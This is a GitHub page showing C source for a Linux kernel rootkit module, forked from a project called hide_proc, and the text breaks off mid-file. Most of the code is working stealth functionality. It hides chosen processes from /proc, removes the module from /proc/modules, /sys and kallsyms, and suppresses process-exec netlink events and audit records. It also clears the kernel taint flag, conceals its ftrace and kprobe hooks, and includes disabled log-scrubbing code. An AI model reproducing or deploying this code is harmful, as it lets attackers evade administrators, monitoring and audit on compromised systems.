forked from awsassets/hide_proc
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhidden_proc_main.c
2070 lines (1706 loc) · 60 KB
/
hidden_proc_main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
*/
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/livepatch.h>
#include <linux/seq_file.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/ptrace.h>
#include <linux/kallsyms.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/proc_fs.h>
#include <linux/proc_ns.h>
#include <linux/refcount.h>
#include <linux/spinlock.h>
#include <linux/atomic.h>
#include <linux/binfmts.h>
#include <linux/sched/coredump.h>
#include <linux/sched/task.h>
#include <linux/bsearch.h>
#include <linux/cn_proc.h>
#include <linux/connector.h>
#include <linux/dynamic_debug.h>
#include <linux/audit.h>
#include <linux/string.h>
#include <linux/kprobes.h>
#include <linux/reboot.h>
#include <linux/fsnotify_backend.h>
#include <linux/version.h>
#include <linux/icmp.h>
#include <linux/mempolicy.h>
#include "ftrace_hook.h"
#define FIRST_PROCESS_ENTRY 256
#define TGID_OFFSET (FIRST_PROCESS_ENTRY + 2)
typedef struct dentry *instantiate_t(struct dentry *,
struct task_struct *, const void *);
struct tgid_iter {
unsigned int tgid;
struct task_struct *task;
};
struct klp_ops {
struct list_head node;
struct list_head func_stack;
struct ftrace_ops fops;
};
struct ftrace_func_entry {
struct hlist_node hlist;
unsigned long ip;
};
struct ftrace_hash {
unsigned long size_bits;
struct hlist_head *buckets;
unsigned long count;
unsigned long flags;
struct rcu_head rcu;
};
struct ftrace_page {
struct ftrace_page *next;
struct dyn_ftrace *records;
int index;
int size;
};
struct printk_log {
u64 ts_nsec; /* timestamp in nanoseconds */
u16 len; /* length of entire record */
u16 text_len; /* length of text buffer */
u16 dict_len; /* length of dictionary buffer */
u8 facility; /* syslog facility */
u8 flags:5; /* internal record flags */
u8 level:3; /* syslog level */
#ifdef CONFIG_PRINTK_CALLER
u32 caller_id; /* thread id or processor id */
#endif
};
struct module *this_module = THIS_MODULE;
static int hidden_base_exe = 0;
module_param(hidden_base_exe, int, 0644);
static int force_modules_disabled = 0;
module_param(force_modules_disabled, int, 0644);
//disable RESTART HALT POWER_OFF KEXEC RESTART2
static int force_reboot_disabled = 0;
module_param(force_reboot_disabled, int, 0644);
//puzzle kprobe
static int force_kprobe_puzzle = 1;
module_param(force_kprobe_puzzle, int, 0644);
#define MAX_NUM_PROC_NAME 10
static int num_proc_name = 3;
static char *hidden_proc_name[MAX_NUM_PROC_NAME] = {"hidden_comm", "touch", "rm"};
module_param_array(hidden_proc_name, charp, &num_proc_name, 0644);
static char hidden_msg_klog[] = "hidden_proc";
static char **p_log_buf = NULL;
static raw_spinlock_t *p_logbuf_lock = NULL;
static u64 *p_clear_seq = NULL;
static u32 *p_clear_idx = NULL;
static u64 *p_log_next_seq = NULL;
static u32 *p_log_next_idx = NULL;
static void (*p__printk_safe_enter)(void) = NULL;
static void (*p__printk_safe_exit)(void) = NULL;
static struct tgid_iter (*p_next_tgid)(struct pid_namespace *ns, struct tgid_iter iter) = NULL;
//static bool (*p_ptrace_may_access)(struct task_struct *task, unsigned int mode) = NULL;
static bool (*p_proc_fill_cache)(struct file *file, struct dir_context *ctx,
const char *name, unsigned int len,
instantiate_t instantiate, struct task_struct *task, const void *ptr) = NULL;
static struct dentry * (*p_proc_pid_instantiate)(struct dentry * dentry,
struct task_struct *task, const void *ptr) = NULL;
static unsigned (*p_name_to_int)(const struct qstr *qstr) = NULL;
static struct task_struct *(*p_find_task_by_pid_ns)(pid_t nr, struct pid_namespace *ns) = NULL;
//static void (*p___audit_bprm)(struct linux_binprm *bprm) = NULL;
static int *p_modules_disabled = NULL;
static struct list_head *p_modules = NULL;
static char * (*p_module_flags)(struct module *mod, char *buf) = NULL;
static bool (*p_kallsyms_show_value)(const struct cred *cred) = NULL;
static int (*p_ddebug_remove_module)(const char *mod_name) = NULL;
static const struct kernel_symbol *p__start___ksymtab = NULL;
static const struct kernel_symbol *p__stop___ksymtab = NULL;
//user tainted mask
static unsigned long usr_tainted_mask = 0;
module_param(usr_tainted_mask, ulong, 0644);
static unsigned long *p_tainted_mask = NULL;
//static struct ftrace_ops __rcu **p_ftrace_ops_list = NULL;
//static struct ftrace_ops *p_ftrace_list_end = NULL;
static struct mutex *p_ftrace_lock = NULL;
static struct klp_ops * (*p_klp_find_ops)(void *old_func) = NULL;
static struct ftrace_func_entry *(*p_ftrace_lookup_ip)(struct ftrace_hash *hash, unsigned long ip) = NULL;
static struct ftrace_page **p_ftrace_pages_start = NULL;
static int (*p_group_send_sig_info)(int sig, struct kernel_siginfo *info,
struct task_struct *p, enum pid_type type) = NULL;
static int (*p_security_task_getpgid)(struct task_struct *p) = NULL;
static struct task_struct * (*p_find_task_by_vpid)(pid_t vnr) = NULL;
static void (*p_free_uid)(struct user_struct *up) = NULL;
static struct user_struct *(*p_find_user)(kuid_t uid) = NULL;
static rwlock_t *p_tasklist_lock = NULL;
static struct ftrace_ops *p_kprobe_ftrace_ops = NULL;
static struct ftrace_ops *p_kprobe_ipmodify_ops = NULL;
static int (*p_kernel_text_address)(unsigned long addr) = NULL;
static asmlinkage bool (*real_ptrace_may_access)(struct task_struct *task, unsigned int mode);
static bool has_pid_permissions(struct pid_namespace *pid,
struct task_struct *task,
int hide_pid_min)
{
if (pid->hide_pid < hide_pid_min)
return true;
if (in_group_p(pid->pid_gid))
return true;
//return p_ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS);
return real_ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS);
}
static int get_task_exe(char *buf, int buflen, struct task_struct *task)
{
int ret = -1;
struct file *exe_file = NULL;
char *p = NULL;
exe_file = get_task_exe_file(task);
if (exe_file) {
p = d_path(&(exe_file->f_path), buf, buflen - 1);
fput(exe_file);
if (IS_ERR_OR_NULL(p)) {
ret = -1;
} else {
ret = strlen(p);
memmove(buf, p, ret);
buf[ret] = '\0';
}
}
return ret;
}
static int is_hidden_proc_name(const char *name, int len_name)
{
int i = 0;
if (!name || len_name <= 0)
goto end;
for (i = 0; i < num_proc_name; i++) {
if (hidden_proc_name[i] == NULL)
break;
if (strncmp(name, hidden_proc_name[i], len_name) == 0)
return 1;
}
end:
return 0;
}
static int is_hidden_proc(struct task_struct *task)
{
int ret = 0;
char *exe_buf = NULL;
if (unlikely(!(task->flags & PF_KTHREAD)) && hidden_base_exe) {
exe_buf = kmalloc(PATH_MAX, GFP_KERNEL);
if (exe_buf) {
if (get_task_exe(exe_buf, sizeof(exe_buf), task) > 0) {
if (is_hidden_proc_name(exe_buf, sizeof(exe_buf)))
ret = 1;
}
kfree(exe_buf);
}
} else {
if (is_hidden_proc_name(task->comm, sizeof(task->comm)))
ret = 1;
}
return ret;
}
static int is_hidden_proc_pid(pid_t pid)
{
struct task_struct *task = NULL;
int ret = 0;
rcu_read_lock();
task = p_find_task_by_vpid(pid);
if (task)
get_task_struct(task);
rcu_read_unlock();
if (!task)
goto end;
if (is_hidden_proc(task))
ret = 1;
put_task_struct(task);
end:
return ret;
}
static struct dentry *livepatch_proc_pid_lookup(struct dentry *dentry, unsigned int flags)
{
struct task_struct *task;
unsigned tgid;
struct pid_namespace *ns;
struct dentry *result = ERR_PTR(-ENOENT);
tgid = p_name_to_int(&dentry->d_name);
if (tgid == ~0U)
goto out;
ns = dentry->d_sb->s_fs_info;
rcu_read_lock();
task = p_find_task_by_pid_ns(tgid, ns);
if (task)
get_task_struct(task);
rcu_read_unlock();
if (!task)
goto out;
if (is_hidden_proc(task)) {
put_task_struct(task);
goto out;
}
result = p_proc_pid_instantiate(dentry, task, NULL);
put_task_struct(task);
out:
return result;
}
static int livepatch_proc_pid_readdir(struct file *file, struct dir_context *ctx)
{
struct tgid_iter iter;
struct pid_namespace *ns = proc_pid_ns(file_inode(file));
loff_t pos = ctx->pos;
if (pos >= PID_MAX_LIMIT + TGID_OFFSET)
return 0;
if (pos == TGID_OFFSET - 2) {
struct inode *inode = d_inode(ns->proc_self);
if (!dir_emit(ctx, "self", 4, inode->i_ino, DT_LNK))
return 0;
ctx->pos = pos = pos + 1;
}
if (pos == TGID_OFFSET - 1) {
struct inode *inode = d_inode(ns->proc_thread_self);
if (!dir_emit(ctx, "thread-self", 11, inode->i_ino, DT_LNK))
return 0;
ctx->pos = pos = pos + 1;
}
iter.tgid = pos - TGID_OFFSET;
iter.task = NULL;
for (iter = p_next_tgid(ns, iter);
iter.task;
iter.tgid += 1, iter = p_next_tgid(ns, iter)) {
char name[10 + 1];
unsigned int len;
cond_resched();
if (!has_pid_permissions(ns, iter.task, HIDEPID_INVISIBLE))
continue;
if (is_hidden_proc(iter.task))
continue;
len = snprintf(name, sizeof(name), "%u", iter.tgid);
ctx->pos = iter.tgid + TGID_OFFSET;
if (!p_proc_fill_cache(file, ctx, name, len,
p_proc_pid_instantiate, iter.task, NULL)) {
put_task_struct(iter.task);
return 0;
}
}
ctx->pos = PID_MAX_LIMIT + TGID_OFFSET;
return 0;
}
/*
* hidden the kernel module from /proc/modules
*/
static void *m_start(struct seq_file *m, loff_t *pos)
{
mutex_lock(&module_mutex);
return seq_list_start(p_modules, *pos);
}
static void *m_next(struct seq_file *m, void *p, loff_t *pos)
{
return seq_list_next(p, p_modules, pos);
}
static void m_stop(struct seq_file *m, void *p)
{
mutex_unlock(&module_mutex);
}
static inline void print_unload_info(struct seq_file *m, struct module *mod)
{
struct module_use *use;
int printed_something = 0;
seq_printf(m, " %i ", module_refcount(mod));
/*
* Always include a trailing , so userspace can differentiate
* between this and the old multi-field proc format.
*/
list_for_each_entry(use, &mod->source_list, source_list) {
printed_something = 1;
seq_printf(m, "%s,", use->source->name);
}
if (mod->init != NULL && mod->exit == NULL) {
printed_something = 1;
seq_puts(m, "[permanent],");
}
if (!printed_something)
seq_puts(m, "-");
}
#define MODULE_FLAGS_BUF_SIZE (TAINT_FLAGS_COUNT + 4)
static int m_show(struct seq_file *m, void *p)
{
struct module *mod = list_entry(p, struct module, list);
char buf[MODULE_FLAGS_BUF_SIZE];
void *value;
/* We always ignore unformed modules. */
if (mod->state == MODULE_STATE_UNFORMED)
return 0;
if (mod == this_module)
return 0;
seq_printf(m, "%s %u",
mod->name, mod->init_layout.size + mod->core_layout.size);
print_unload_info(m, mod);
/* Informative for users. */
seq_printf(m, " %s",
mod->state == MODULE_STATE_GOING ? "Unloading" :
mod->state == MODULE_STATE_COMING ? "Loading" :
"Live");
/* Used by oprofile and other similar tools. */
value = m->private ? NULL : mod->core_layout.base;
seq_printf(m, " 0x%px", value);
/* Taints info */
if (mod->taints)
seq_printf(m, " %s", p_module_flags(mod, buf));
seq_puts(m, "\n");
return 0;
}
static const struct seq_operations modules_op = {
.start = m_start,
.next = m_next,
.stop = m_stop,
.show = m_show
};
static int livepatch_modules_open(struct inode *inode, struct file *file)
{
int err = seq_open(file, &modules_op);
if (!err) {
struct seq_file *m = file->private_data;
m->private = p_kallsyms_show_value(file->f_cred) ? NULL : (void *)8ul;
}
return err;
}
/*
* hidden the kernel module from /proc/modules
*/
static unsigned long kernel_symbol_value(const struct kernel_symbol *sym)
{
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
return (unsigned long)offset_to_ptr(&sym->value_offset);
#else
return sym->value;
#endif
}
static const char *kallsyms_symbol_name(struct mod_kallsyms *kallsyms, unsigned int symnum)
{
return kallsyms->strtab + kallsyms->symtab[symnum].st_name;
}
static const char *kernel_symbol_name(const struct kernel_symbol *sym)
{
#ifdef CONFIG_HAVE_ARCH_PREL32_RELOCATIONS
return offset_to_ptr(&sym->name_offset);
#else
return sym->name;
#endif
}
static int cmp_name(const void *name, const void *sym)
{
return strcmp(name, kernel_symbol_name(sym));
}
static const struct kernel_symbol *lookup_exported_symbol(const char *name,
const struct kernel_symbol *start,
const struct kernel_symbol *stop)
{
return bsearch(name, start, stop - start,
sizeof(struct kernel_symbol), cmp_name);
}
static int is_exported(const char *name, unsigned long value,
const struct module *mod)
{
const struct kernel_symbol *ks;
if (!mod)
ks = lookup_exported_symbol(name, p__start___ksymtab, p__stop___ksymtab);
else
ks = lookup_exported_symbol(name, mod->syms, mod->syms + mod->num_syms);
return ks != NULL && kernel_symbol_value(ks) == value;
}
static int livepatch_module_get_kallsym(unsigned int symnum, unsigned long *value, char *type,
char *name, char *module_name, int *exported)
{
struct module *mod;
preempt_disable();
list_for_each_entry_rcu(mod, p_modules, list) {
struct mod_kallsyms *kallsyms;
if (mod == this_module)
continue;
if (mod->state == MODULE_STATE_UNFORMED)
continue;
kallsyms = rcu_dereference_sched(mod->kallsyms);
if (symnum < kallsyms->num_symtab) {
const Elf_Sym *sym = &kallsyms->symtab[symnum];
*value = kallsyms_symbol_value(sym);
*type = kallsyms->typetab[symnum];
strlcpy(name, kallsyms_symbol_name(kallsyms, symnum), KSYM_NAME_LEN);
strlcpy(module_name, mod->name, MODULE_NAME_LEN);
*exported = is_exported(name, *value, mod);
preempt_enable();
return 0;
}
symnum -= kallsyms->num_symtab;
}
preempt_enable();
return -ERANGE;
}
/*
* bypass the cn_proc about the hidden proc msg
*/
static int livepatch_cn_netlink_send(struct cn_msg *msg, u32 portid, u32 __group,
gfp_t gfp_mask)
{
struct task_struct *task = current;
struct proc_event *ev = NULL;
if (__group != CN_IDX_PROC)
goto send;
ev = (struct proc_event *)msg->data;
if (ev->what == PROC_EVENT_EXEC && is_hidden_proc(task))
return 0;
send:
return cn_netlink_send_mult(msg, msg->len, portid, __group, gfp_mask);
}
static void livepatch__audit_bprm(struct linux_binprm *bprm)
{
return;
}
static int livepatch_kill_pid_info(int sig, struct kernel_siginfo *info, struct pid *pid)
{
int error = -ESRCH;
struct task_struct *p;
rcu_read_lock();
p = pid_task(pid, PIDTYPE_PID);
if (p && is_hidden_proc(p) && sig != SIGKILL) {
rcu_read_unlock();
return error;
}
rcu_read_unlock();
for (;;) {
rcu_read_lock();
p = pid_task(pid, PIDTYPE_PID);
if (p)
error = p_group_send_sig_info(sig, info, p, PIDTYPE_TGID);
rcu_read_unlock();
if (likely(!p || error != -ESRCH))
return error;
/*
* The task was unhashed in between, try again. If it
* is dead, pid_task() will return NULL, if we race with
* de_thread() it will find the new leader.
*/
}
}
static int livepatch_do_getpgid(pid_t pid)
{
struct task_struct *p;
struct pid *grp;
int retval;
rcu_read_lock();
if (!pid)
grp = task_pgrp(current);
else {
retval = -ESRCH;
p = p_find_task_by_vpid(pid);
if (!p)
goto out;
get_task_struct(p);
if (is_hidden_proc(p)) {
put_task_struct(p);
goto out;
}
put_task_struct(p);
grp = task_pgrp(p);
if (!grp)
goto out;
retval = p_security_task_getpgid(p);
if (retval)
goto out;
}
retval = pid_vnr(grp);
out:
rcu_read_unlock();
return retval;
}
static void hidden_module(struct module *mod) {
//del from 'modules' list
list_del(&mod->list);
//del from /sys/module/
if (mod->holders_dir && mod->holders_dir->parent) {
kobject_del(mod->holders_dir->parent);
}
p_ddebug_remove_module(mod->name);
}
static void hidden_from_sys_livepatch(struct klp_patch *klp)
{
if (!klp)
goto end;
kobject_del(&klp->kobj);
list_del(&klp->list);
end:
return;
}
static void clear_livepatch_tainted_mask(void)
{
struct module *mod = NULL;
if (usr_tainted_mask != 0) {
*p_tainted_mask = usr_tainted_mask;
return;
}
preempt_disable();
list_for_each_entry_rcu(mod, p_modules, list) {
if (mod != this_module && is_livepatch_module(mod))
goto out;
}
clear_bit(TAINT_LIVEPATCH, p_tainted_mask);
out:
preempt_enable();
return;
}
#if 0
static int remove_ftrace_ops(struct ftrace_ops *ops)
{
struct ftrace_ops **p;
/*
* If we are removing the last function, then simply point
* to the ftrace_stub.
*/
if (rcu_dereference_protected(*p_ftrace_ops_list,
lockdep_is_held(p_ftrace_lock)) == ops &&
rcu_dereference_protected(ops->next,
lockdep_is_held(p_ftrace_lock)) == p_ftrace_list_end) {
*p_ftrace_ops_list = p_ftrace_list_end;
return 0;
}
for (p = p_ftrace_ops_list; *p != p_ftrace_list_end; p = &(*p)->next)
if (*p == ops)
break;
if (*p != ops)
return -1;
*p = (*p)->next;
return 0;
}
#endif
#define do_for_each_ftrace_rec(pg, rec) \
for (pg = *p_ftrace_pages_start; pg; pg = pg->next) { \
int _____i; \
for (_____i = 0; _____i < pg->index; _____i++) { \
rec = &pg->records[_____i];
#define while_for_each_ftrace_rec() \
} \
}
static void hidden_ftrace_ops(struct ftrace_ops *fops)
{
struct ftrace_hash *hash = NULL;
//struct ftrace_func_entry *entry = NULL;
struct ftrace_page *pg = NULL;
struct dyn_ftrace *rec = NULL;
if (!fops)
return;
mutex_lock(p_ftrace_lock);
hash = fops->func_hash->filter_hash ;
do_for_each_ftrace_rec(pg, rec) {
if (p_ftrace_lookup_ip(hash, rec->ip)) {
rec->flags &= ~FTRACE_FL_ENABLED;
rec->flags &= FTRACE_FL_MASK;
}
} while_for_each_ftrace_rec();
mutex_unlock(p_ftrace_lock);
#if 0
entry = p_ftrace_lookup_ip(hash, ftrace_loc);
if (entry) {
hlist_del(&entry->hlist);
hash->count--;
}
remove_ftrace_ops(fops);
fops->flags &= ~FTRACE_OPS_FL_ENABLED;
#endif
}
static void hidden_from_enabled_functions_ftrace_hooks(struct ftrace_hook *hooks, int num)
{
int i = 0;
if (!hooks || num <= 0)
return;
for (i = 0; i < num; i++)
hidden_ftrace_ops(&(hooks[i].ops));
return;
}
static void hidden_ftrace_ops_addr(struct ftrace_ops *fops, kprobe_opcode_t *addr)
{
struct ftrace_hash *hash = NULL;
//struct ftrace_func_entry *entry = NULL;
struct ftrace_page *pg = NULL;
struct dyn_ftrace *rec = NULL;
if (!fops)
return;
mutex_lock(p_ftrace_lock);
hash = fops->func_hash->filter_hash ;
do_for_each_ftrace_rec(pg, rec) {
if (rec->ip == (unsigned long)addr && p_ftrace_lookup_ip(hash, rec->ip)) {
rec->flags &= ~FTRACE_FL_ENABLED;
rec->flags &= FTRACE_FL_MASK;
}
} while_for_each_ftrace_rec();
mutex_unlock(p_ftrace_lock);
}
static void hidden_from_enabled_functions_kprobe(struct kretprobe **rps, int num)
{
int i = 0;
bool ipmodify ;
for (i = 0; i < num; i++) {
ipmodify = (rps[i]->kp.post_handler != NULL);
if (ipmodify)
hidden_ftrace_ops_addr(p_kprobe_ipmodify_ops, rps[i]->kp.addr);
else
hidden_ftrace_ops_addr(p_kprobe_ftrace_ops, rps[i]->kp.addr);
}
return;
}
static void hidden_from_enabled_functions_klp(struct klp_object *obj )
{
struct klp_func *func = NULL;
struct klp_ops *ops = NULL;
struct ftrace_ops *fops = NULL;
unsigned long ftrace_loc;
klp_for_each_func(obj, func) {
ops = p_klp_find_ops(func->old_func);
if (!ops)
continue;
fops = &ops->fops;
ftrace_loc = (unsigned long)func->old_func;
if (!ftrace_loc)
continue;
hidden_ftrace_ops(fops);
}
}
#if 0
static struct printk_log *log_from_idx(u32 idx)
{
struct printk_log *msg = (struct printk_log *)(*p_log_buf + idx);
/*
* A length == 0 record is the end of buffer marker. Wrap around and
* read the message at the start of the buffer.
*/
if (!msg->len)
return (struct printk_log *)(*p_log_buf);
return msg;
}
static u32 log_next(u32 idx)
{
struct printk_log *msg = (struct printk_log *)(*p_log_buf + idx);
/* length == 0 indicates the end of the buffer; wrap */
/*
* A length == 0 record is the end of buffer marker. Wrap around and
* read the message at the start of the buffer as *this* one, and
* return the one after that.
*/
if (!msg->len) {
msg = (struct printk_log *)(*p_log_buf);
return msg->len;
}
return idx + msg->len;
}
#endif
static char *log_text(const struct printk_log *msg)
{
return (char *)msg + sizeof(struct printk_log);
}
#if 0
#define printk_safe_enter_irq() \
do { \
local_irq_disable(); \
p__printk_safe_enter(); \
} while (0)
#define printk_safe_exit_irq() \
do { \
p__printk_safe_exit(); \
local_irq_enable(); \
} while (0)
#define logbuf_lock_irq() \
do { \
printk_safe_enter_irq(); \
raw_spin_lock(p_logbuf_lock); \
} while (0)
#define logbuf_unlock_irq() \
do { \
raw_spin_unlock(p_logbuf_lock); \
printk_safe_exit_irq(); \
} while (0)
#define printk_safe_enter_irqsave(flags) \
do { \
local_irq_save(flags); \
p__printk_safe_enter(); \
} while (0)
#define printk_safe_exit_irqrestore(flags) \
do { \
p__printk_safe_exit(); \
local_irq_restore(flags); \
} while (0)
#define logbuf_lock_irqsave(flags) \
do { \
printk_safe_enter_irqsave(flags); \
raw_spin_lock(p_logbuf_lock); \
} while (0)
#define logbuf_unlock_irqrestore(flags) \
do { \
raw_spin_unlock(p_logbuf_lock); \
printk_safe_exit_irqrestore(flags); \
} while (0)
static void (*p_console_lock)(void) = NULL;
static void (*p_console_unlock)(void) = NULL;
static void (*p_wake_up_klogd)(void) = NULL;
static void clear_klog(void)
{
u64 seq;
u32 idx;
unsigned long flags;
//#if 0
u64 sum_seq = 0;
u32 sum_idx = 0;
int first = 0;
//#endif
logbuf_lock_irqsave(flags);
seq = *p_clear_seq;
idx = *p_clear_idx;
while (seq < *p_log_next_seq) {
struct printk_log *msg = log_from_idx(idx);
char *text = log_text(msg);
idx = log_next(idx);
seq++;
if (first == 0) {
if (msg->text_len >= sizeof(hidden_msg_klog)) {
if (strstr(text, hidden_msg_klog)) {
first = 1;
sum_seq++;
sum_idx += msg->len;
msg->text_len = 0;
msg->dict_len = 0;
msg->len = 0;
}
}
//#if 0
} else {
sum_seq++;
sum_idx += msg->len;
}
//#endif
}
//#if 0
if (*p_log_next_seq > sum_seq) {
*p_log_next_seq -= sum_seq;
if (*p_log_next_idx > sum_idx)
*p_log_next_idx -= sum_idx;
preempt_disable();
/*
* Try to acquire and then immediately release the console
* semaphore. The release will print out buffers and wake up
* /dev/kmsg and syslog() users.
*/
//if (p_console_trylock_spinning())
p_console_lock();
p_console_unlock();
preempt_enable();
p_wake_up_klogd();
}
// if (*p_log_next_idx > sum_idx)
// *p_log_next_idx -= sum_idx;
//#endif
logbuf_unlock_irqrestore(flags);
}
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sched_getaffinity)(struct pt_regs *regs) = NULL;
static asmlinkage long ftrace_sched_getaffinity(struct pt_regs *regs)
{
return real_sched_getaffinity(regs);
}
static asmlinkage long (*real_security_task_getscheduler)(struct pt_regs *regs) = NULL;
static asmlinkage long ftrace_security_task_getscheduler(struct pt_regs *regs)
{
return real_security_task_getscheduler(regs);
}
static asmlinkage long (*real_do_sched_setscheduler)(struct pt_regs *regs) = NULL;
static asmlinkage long ftrace_do_sched_setscheduler(struct pt_regs *regs)
{
return real_do_sched_setscheduler(regs);
}
static asmlinkage long (*real_sched_setaffinity)(struct pt_regs *regs) = NULL;
static asmlinkage long ftrace_sched_setaffinity(struct pt_regs *regs)
{
return real_sched_setaffinity(regs);
}
static asmlinkage int (*real_sched_setattr)(struct pt_regs *regs) = NULL;
static asmlinkage int ftrace_sched_setattr(struct pt_regs *regs)
{
return real_sched_setattr(regs);
}